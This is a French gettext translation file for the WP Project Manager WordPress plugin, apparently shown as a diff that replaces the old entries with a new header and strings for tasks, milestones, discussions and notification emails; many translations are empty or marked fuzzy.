views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Ajouter étape" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Mettre à jour Etape" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Ajouter tâche" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Mettre à jour Liste" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Ajouter Liste" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete File" -msgid "Delete List" -msgstr "Supprimer message" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Enregistrer" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Activité" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Supprimer" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Annuler" - -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select co-workers" -msgid "Select Color" -msgstr "Sélectionner un collègue" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Supprimer message" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Réalisé" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Notifier utilisateur" - -#: views/assets/src/components/project-activities/activities.vue:46 -msgid "Load More ..." -msgstr "" - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Ecrire un nouveau message" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -msgid "By" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Aucun utilisateur" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nouveau Projet" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Tâches" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Etapes atteintes" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Réalisé sur :" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Etapes en retard" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Prochaines Etapes" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "restant" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nouvelle liste de tâche" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -msgid "due date" -msgstr "" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Afficher tâche" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nouveau message" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Lire message" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Afficher Projet" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -#, fuzzy -#| msgid "You are assigned in a new project \"%s\" on %s" -msgid "You are assigned to a project \"%s\" by %s." -msgstr "Vous êtes sollicité pour un nouveau projet \"%s\" sur %s" - -#: views/emails/html/update-task.php:12 -#, fuzzy -#| msgid "[%s] New task assigned to you" -msgid "Update task has been assigned to you" -msgstr "Une tâche mise à jour vous a été assignée" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Mettre à jour Liste" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Project created by %s" -#~ msgstr "Project créé par %s" - -#~ msgid "Project details updated by %s" -#~ msgstr "Détails du projet ajouté par %s" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Message \"%s\" supprimé par %s" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s a supprimé un commentaire" - -#~ msgid "Messages" -#~ msgstr "Messages" - -#~ msgid "Edit Message" -#~ msgstr "Editer message" - -#~ msgid "Search Messages" -#~ msgstr "Rechercher messages" - -#~ msgid "Parent Message" -#~ msgstr "Message parent" - -#~ msgid "Add New Milestone" -#~ msgstr "Ajouter nouvelle étape" - -#~ msgid "New Milestone" -#~ msgstr "Nouvelle étape" - -#~ msgid "View Milestone" -#~ msgstr "Voir étape" - -#~ msgid "Search Milestone" -#~ msgstr "Rechercher étape" - -#~ msgid "Parent Milestone" -#~ msgstr "Etape parente" - -#~ msgid "Add Project" -#~ msgstr "Ajouter projet" - -#~ msgid "Edit Project" -#~ msgstr "Editer projet" - -#~ msgid "Search Project" -#~ msgstr "Rechercher Projet" - -#~ msgid "Parent Project" -#~ msgstr "Projet parent" - -#~ msgid "Add Task List" -#~ msgstr "Ajouter liste de tâche" - -#~ msgid "Add New Task List" -#~ msgstr "Ajouter nouvelle liste de tâche" - -#~ msgid "Edit Task List" -#~ msgstr "Editer liste de tâche" - -#~ msgid "View Task List" -#~ msgstr "Voir liste de tâche" - -#~ msgid "Search Task List" -#~ msgstr "Recherche liste de tâche" - -#~ msgid "Parent Task List" -#~ msgstr "Liste de tâche parente" - -#~ msgid "Add New Task" -#~ msgstr "Ajouter nouvelle tâche" - -#~ msgid "Edit Task" -#~ msgstr "Editer tâche" - -#~ msgid "New Task" -#~ msgstr "Nouvelle tâche" - -#~ msgid "Search Task" -#~ msgstr "Recherche tâche" - -#~ msgid "Parent Task" -#~ msgstr "Tâche parente" - -#~ msgid "Add this comment" -#~ msgstr "Ajouter ce commentaire" - -#~ msgid "late" -#~ msgstr "Retard" - -#~ msgid "Attached to %s by %s" -#~ msgstr "Joins %s par %s" - -#~ msgid "Error: Message not found" -#~ msgstr "Erreure : Aucun message" - -#~ msgid "Error: Project not found" -#~ msgstr "Erreur : Aucun projet" - -#~ msgid "Error: Permission denied" -#~ msgstr "Erreur : Vous n'avez pas les droits" - -#~ msgid "Message %s created by %s" -#~ msgstr "Message %s créé par %s" - -#~ msgid "Message %s updated by %s" -#~ msgstr "Message %s mis à jour par %s" - -#~ msgid "To-do list %s created by %s" -#~ msgstr "To-do liste %s créée par %s" - -#~ msgid "To-do list %s updated by %s" -#~ msgstr "To-do liste %s mise à jour par %s" - -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "To-do list \"%s\" supprimée par %s" - -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Tâche %s ajoutée à la to-do liste %s par %s" - -#~ msgid "To-do %s updated by %s" -#~ msgstr "Tâche %s mise à jour par %s" - -#~ msgid "To-do %s completed by %s" -#~ msgstr "Tâche %s réalisée par %s" - -#~ msgid "Marked to-do as done" -#~ msgstr "Passer cette tâche à résolue" - -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Tâche %s marquée non-résolue par %s" - -#~ msgid "Re-opened to-do" -#~ msgstr "Réouvrir la tâche" - -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Tâcge \"%s\" supprimée de la to-do list %s par %s" - -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Etape \"%s\" ajoutée par %s " - -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Etape \"%s\" mise à jour par %s " - -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Etape \"%s\" supprimée par %s " - -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Etape \"%s\" marquée atteinte par %s " - -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Etape \"%s\" marquée non atteinte par %s " - -#~ msgid "No Messages Found" -#~ msgstr "Aucun message trouvé" - -#~ msgid "No Messages Found in Trash" -#~ msgstr "Aucun message dans la corbeille" - -#~ msgid "No Milestone Found" -#~ msgstr "Aucune étape trouvée" - -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Aucune étape dans la corbeille" - -#~ msgid "No Project Found in Trash" -#~ msgstr "Pas de projet dans la corbeille" - -#~ msgid "No Task List Found" -#~ msgstr "Aucune liste de tâche trouvée" - -#~ msgid "No Task List Found in Trash" -#~ msgstr "Aucune liste de tâche dans la corbeille" - -#~ msgid "No Task Found" -#~ msgstr "Aucune tâche trouvée" - -#~ msgid "No Task Found in Trash" -#~ msgstr "Aucune tâche dans la corbeille" - -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Etes-vous sur de supprimer cette tâche ?" - -#~ msgid "Add this to-do" -#~ msgstr "Ajouter cette tâche" - -#~ msgid "-- milestone --" -#~ msgstr "-- étape --" - -#~ msgid "Update comment" -#~ msgstr "Mettre à jour commentaire" - -#~ msgid "To-do List" -#~ msgstr "To-do Liste" - -#~ msgid "Notify Co-workers" -#~ msgstr "Notifier collègues" - -#~ msgid "Private" -#~ msgstr "Privé" - -#~ msgid "Discuss this to-do list" -#~ msgstr "Discuter de cette to-do liste" - -#, fuzzy -#~ msgid "New Project Subject" -#~ msgstr "Nouveau Projet" - -#, fuzzy -#~ msgid "New Project Body" -#~ msgstr "Nouveau Projet" - -#, fuzzy -#~ msgid "New Message Subject" -#~ msgstr "Nouveau message" - -#, fuzzy -#~ msgid "New Message Body" -#~ msgstr "Nouveau message" - -#, fuzzy -#~ msgid "New Comment Subject" -#~ msgstr "Nouveau Projet" - -#~ msgid "-- assign to --" -#~ msgstr "-- assigner à --" - -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Pour joindre un fichier, Choisir les fichiers sur votre ordinnateur." - -#~ msgid "%d Comments" -#~ msgstr "%d Commentaires" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Réalisé par %s sur %s)" - -#~ msgid "Add a to-do" -#~ msgstr "Ajouter une tâche" - -#~ msgid "Reopen" -#~ msgstr "Ré-ouvrir" - -#~ msgid "No Files Found!" -#~ msgstr "Aucun fichier" - -#~ msgid "Add New" -#~ msgstr "Ajouter nouveau" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Aucun message ! Et si vous en écriviez un ?" - -#~ msgid "No Milestone Found!" -#~ msgstr "Aucune Etape" - -#~ msgid "Add new milestone" -#~ msgstr "Ajouter nouvelle Etape" - -#~ msgid "Project Info" -#~ msgstr "Info du projet" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Aucune To-do liste, très cher !" - -#~ msgid "Discuss this to-do" -#~ msgstr "Discuter de cette tâche" - -#~ msgid "New Project invitation on %s" -#~ msgstr "Invitation au nouveau projet %s" - -#~ msgid "You can see the project by going here: %s" -#~ msgstr "Vous pouvez voir le projet en cliquant sur : %s" - -#~ msgid "[%s] New message on project: %s" -#~ msgstr "[%s] Nouveau message à propos du projet : %s" - -#~ msgid "Permalink : %s" -#~ msgstr "Permalien : %s" - -#~ msgid "[%s] New comment on %s: %s" -#~ msgstr "[%s] Nouveau commentaire sur %s: %s" - -#~ msgid "Public" -#~ msgstr "Publique" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:48+0600\n" +"Last-Translator: Tareq Hasan \n" +"Language-Team: Tareq Hasan \n" +"Language: fr\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=2; plural=(n > 1);\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Message" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Liste de tâche" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Tâche" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +msgid "File" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Mettre à jour Projet" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +#, fuzzy +#| msgid "[%s] New task assigned to you" +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "[%s] Nouvelle tâche vous est assignée" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:140 +msgid "Read More" +msgstr "" + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Fichiers autorisés" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

